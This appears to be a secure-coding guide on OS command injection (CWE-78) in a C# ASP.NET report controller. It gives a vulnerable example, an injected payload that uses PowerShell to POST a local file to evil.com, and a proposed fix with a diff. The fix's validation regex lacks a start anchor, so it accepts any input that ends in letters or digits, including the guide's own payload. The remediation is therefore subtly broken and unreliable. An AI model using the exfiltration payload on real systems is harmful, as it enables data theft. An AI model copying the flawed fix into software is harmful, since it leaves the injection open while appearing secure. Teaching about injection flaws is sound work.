CWE 78: OS Command Injection

Flaw

CWE 78: OS Command Injection flaws occur if your application executes a native command when the name of, path of, or arguments to the command contain untrusted data (for example input from a web form, cookie, or database).

For example:

public class ReportController : Controller
{
    ...
    public ActionResult GenerateReport(int customerID, string description)
    {
        const string PDF = "/PDF/PDFGenerator.exe";
        
        try
        {
            var xmlFile = GetCustomerXmlData(customerID);
            var outputFile = GenerateTempFileName(customerID);
            var proc = System.Diagnostics.Process.Start("cmd.exe", $"/C {PDF} --xml {xmlFile} --out {outputFile} --desc \"{description}\"");
            proc.WaitForExit();
            return File(outputFile, "application/pdf");
        }
        catch (Exception ex)
        {
            LogException(ex);
            return new HttpStatusCodeResult(HttpStatusCode.InternalServerError, "Error occured while generating the report.");
        }
    }
    ...
}

The above example code looks up the associated customer (XML) data based on the given CustomerID, then calls an external program (/PDF/PDFGenerator.exe) that generates a PDF statement for that account data and a description provided by the user.

The command executed is built as the string PDF. Under normal operation, if a user provides "Overview Report" as the description, and customerID 907068073, the result would be:

cmd.exe /C /PDF/PDFGenerator.exe --xml 907068073-data.xml --out 907068073-output.pdf --desc "Overview Report"

It works as expected. Now imagine a malicious user supplied the following description:

Overview" && powershell.exe -noprofile -noninteractive -command Invoke-WebRequest -InFile localfile.txt -Method POST http://evil.com/upload/file && echo "done

That would result in the following command executed:

cmd.exe /C /PDF/PDFGenerator.exe --xml 907068073-data.xml --out 907068073-output.pdf --desc "Overview" && powershell.exe -noprofile -noninteractive -command Invoke-WebRequest -InFile localfile.txt -Method POST https://evil.com/upload/file && echo "done"

This command would execute as normal, creating a PDF with the description "Overview", but then it would also use PowerShell to invoke a web request to upload a file called the localfile.txt to the attacker's webserver.

By changing the description, an attacker can execute any command, allowing them to cause damage, deploy malicious software, or steal sensitive data.

Fix

To repair OS Command Injection flaws, you must ensure that any untrusted data is properly handled. In our example we also need to change the way the call to System.Diagnostics.Process.Start() is constructed.

The command executed is based on a single string value. One of the biggest issues in this example is the fact that the command string created begins with cmd.exe followed by the /c argument. This is why we need to make sure that we perform the process start based on the overload that accepts the executable (preferably a constant value) and arguments separately. By doing this it will already limit many of the possibilities for doing the OS Command Injection itself because depends on how the PDF executable handles those arguments.

You still need to validate the untrusted data properly before using it in one of the arguments. In this example we are going use regular expression to validate the data. In our example, the regular expression validates the description only containing alphanumerical characters and/or spaces.

public class ReportController : Controller
{
    ...
    public ActionResult GenerateReport(int customerID, string description)
    {
        const string PDF = "/PDF/PDFGenerator.exe";

        var valDesc = new Regex(@"[a-zA-Z0-9\x20]+$");
        if (!valDesc.IsMatch(description))
        {
            return new HttpStatusCodeResult(HttpStatusCode.NoContent, "No valid description given, unable to generate report.");
        }

        try
        {
            var xmlFile = GetCustomerXmlData(customerID);
            var outputFile = GenerateTempFileName(customerID);
            var proc = System.Diagnostics.Process.Start(PDF, $"--xml {xmlFile} --out {outputFile} --desc \"{description}\" ");
            proc.WaitForExit();
            return File(outputFile, "application/pdf");
        }
        catch (Exception ex)
        {
            LogException(ex);
            return new HttpStatusCodeResult(HttpStatusCode.InternalServerError, "Error occured while generating the report.");
        }
    }
    ...
}

public ActionResult GenerateReport(int customerID, string description)
     {
         const string PDF = "/PDF/PDFGenerator.exe";
-        
+
+        var valDesc = new Regex(@"[a-zA-Z0-9\x20]+$");
+        if (!valDesc.IsMatch(description))
+        {
+            return new HttpStatusCodeResult(HttpStatusCode.NoContent, "No valid description given, unable to generate report.");
+        }
+
         try
         {
             var xmlFile = GetCustomerXmlData(customerID);
             var outputFile = GenerateTempFileName(customerID);
-            var proc = System.Diagnostics.Process.Start("cmd.exe", $"/C {PDF} --xml {xmlFile} --out {outputFile} --desc \"{description}\"");
+            var proc = System.Diagnostics.Process.Start(PDF, $"--xml {xmlFile} --out {outputFile} --desc \"{description}\" ");
             proc.WaitForExit();
             return File(outputFile, "application/pdf");
         }

This ensures that description is properly validated and only used as a single argument.

References

CWE ↪ OWASP ↪ WASC ↪